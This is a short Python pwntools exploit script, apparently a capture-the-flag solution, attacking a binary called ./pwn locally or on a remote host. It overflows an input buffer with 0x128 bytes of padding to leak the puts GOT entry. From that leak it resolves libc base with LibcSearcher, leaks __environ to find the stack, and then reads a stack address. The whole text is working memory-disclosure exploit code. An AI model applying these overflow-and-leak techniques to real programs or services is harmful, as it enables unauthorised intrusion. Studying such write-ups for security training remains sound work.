if sys.argv[1] == 'l': p = process("./pwn") elif sys.argv[1] == 'r': p = remote(sys.argv[3],sys.argv[4]) else: print("wrong") sys.exit()
##启动调试 if sys.argv[2] == 'y': gdb.attach(p,gdbscript='break main') pause()
#libc = ELF('./libc.so.6')
p.sendlineafter(b'lease type your guessing flag', b'a'*0x128+p64(elf.got['puts'])) puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher('puts',puts) base = puts - libc.dump('puts')
environ_addr= base + libc.dump('__environ') p.sendlineafter(b'lease type your guessing flag', b'a' * 0x128 + p64(environ_addr)) stack_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
p.sendlineafter(b'lease type your guessing flag', b'a' * 0x128 + p64(stack_addr-360))